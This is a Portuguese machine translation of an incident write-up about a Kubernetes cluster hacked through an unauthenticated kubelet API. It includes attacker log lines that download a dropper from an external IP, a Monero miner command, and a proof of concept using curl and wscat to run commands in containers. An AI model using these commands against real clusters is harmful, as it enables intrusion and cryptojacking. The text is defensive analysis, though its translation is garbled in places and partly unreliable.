
Para não saber nada sobre Kubernetes, era preciso morar em uma caverna nos últimos três anos. A infraestrutura de desenvolvimento Handy, o CI / CD e a produção são construídos no ecossistema de vários clusters Kubernetes. Podemos dizer que somos fãs do Kubernetes em Handy, motivo pelo qual ficamos tão surpresos quando o cluster privado do nosso colega Kubernetes foi invadido no último fim de semana.
Eles ficaram surpresos - e se alegraram, porque descobriram em Kubernetes uma falha pouco conhecida. Neste artigo, veremos como o cluster de um colega foi invadido e como confirmamos nossas descobertas recriando esse ataque em nosso próprio cluster. O ataque foi testado no Kubernetes 1.9, mas pode funcionar em clusters mais antigos.
AVISO LEGAL : Este artigo é sobre o servidor pessoal de nosso colega. Infraestrutura Handy Technologies não foi comprometida.
Hack
O cluster com defeito foi o único nó de implantação do Kubernetes em execução no Alpine Linux. O primeiro indicador de hacking foi um processo suspeito que funcionava como um processo filho do daemon do docker:
/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B
o ponto final de ondulação retorna o seguinte texto:
Mining Proxy Online
Parece que alguém encontrou uma maneira de colocar o software de mineração de criptografia em um contêiner em funcionamento e iniciar o processo.
Ao procurar o arquivo udevs no diretório de sobreposição do docker para o contêiner (/ var / lib / docker / overlay2 / b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) , foi baixado um script do dropper com o nome "kube.lock" .
Além disso, a assinatura MD5 (a4404be67a41f144ea86a7838f357c26) para o programa / tmp / udevs no VirusTotal é definida como um provável Monero Miner:

Portanto, sabemos que o cracker de alguma forma colocou o script kube.lock no contêiner e o executou. Mas como
O acesso público ao servidor da API do kubernetes estava aberto, mas protegido pela autenticação de certificado. Primeiro, assumimos um ataque à cadeia de suprimentos de uma das imagens que trabalha no cluster. No entanto, tendo estudado os logs do kubelet, notamos algo:
/var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
' de tempo de execução /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
Parece que o cracker foi de alguma forma o exec exec do kubelet. O Google, na solicitação "Kubelet de autenticação", emitiu o texto da documentação do Kubernetes:
Por padrão, as solicitações para o terminal HTTPS kubelet que não são rejeitadas por outros métodos de autenticação configurados são tratadas como solicitações anônimas com o sistema: nome de usuário anônimo e o sistema: grupo não autenticado .
Autenticação / autorização Kubelet
Se nenhum sinalizador for especificado no Kubelet, por padrão, o modo de aceitar solicitações de API que não passam na autenticação é usado. Lembre-se de que, para o link mestre -> nó funcionar, o servidor da API Kubernetes deve trocar informações com o kubelet nos nós.
Como se viu, o servidor do nosso colega também expôs publicamente as portas do kubelet (tcp 10250, tcp 10255). Embora o erro seja óbvio, seria bom verificar como o seu próprio Kubernetes é implantado.
Se os usuários tiverem acesso aos nós, a API do kubelet será um backdoor totalmente funcional para o cluster que não passou na autenticação da API.
Portanto, se você tiver problemas para ativar a autenticação e autorização (webhook, RBAC, etc.), verifique se o kubelet está protegido.
Existem sérias perguntas sobre a segurança das comunicações Kubelet, e esse problema merece mais atenção.
Prova de conceito
Para enviar comandos diretamente para o kubelet, você deve usar a API conforme descrito aqui:

O Kubelet escuta em duas portas: 10255 e 10250. A primeira é uma porta HTTP somente leitura e a segunda é uma porta HTTPS que pode fazer qualquer coisa.
Selecione qualquer nó no cluster e tente listar os pods:
curl --insecure https://kube-node-here:10250/pods | jq
A rota para exec , que não está documentada na página do kubelet, é semelhante à rota do servidor API, mas requer duas solicitações: um POST inicial e um GET subsequente com um cliente que suporte SPDY (ou um cliente websocket, que também é suportado).
Execute o comando em um contêiner em execução via kubelet.
Localize o que está sendo executado no nó que você deseja direcionar na solicitação anterior. Execute a seguinte consulta com ondulação:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1"
Isso deve retornar uma resposta com o código 302, que redireciona para o fluxo:
< HTTP/2 302 < location: /cri/exec/PfWkLulG < content-type: text/plain; charset=utf-8 < content-length: 0 < date: Tue, 13 Mar 2018 19:21:00 GMT
Use wscat para iniciar o fluxo:
wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check connected (press CTRL+C to quit) < < disconnected
Como acabamos de touch hello_world
, ele cria o arquivo e se desconecta. Se você deseja executar um comando com saída, verá o resultado após executar o comando acima.
Conclusão
Embora esse comportamento seja consistente com a documentação, muitos não sabem que, sem a configuração adequada, eles obtêm uma falha de segurança no ambiente multiusuário do Kubernetes.
Cobrimos um dos problemas de segurança no Kubernetes. Comente!
Patch de 14 de março de 2018
Após um estudo aprofundado, parece que, mesmo com a autenticação Kubelet ativada, ela se aplica apenas à porta HTTPS (10250). Isso significa que a porta HTTP somente leitura (10255) ainda permanece aberta sem nenhum recurso de segurança além das ACLs da rede.
A porta de leitura pode listar as especificações da lareira na rota /pods
, o que significa acesso a dados confidenciais, como variáveis de ambiente.
Apenas 28 dias atrás, o código foi alterado para que uma porta não segura fosse desativada por padrão.
Original: Análise de um hack Kubernetes - Backdooring através do kubelet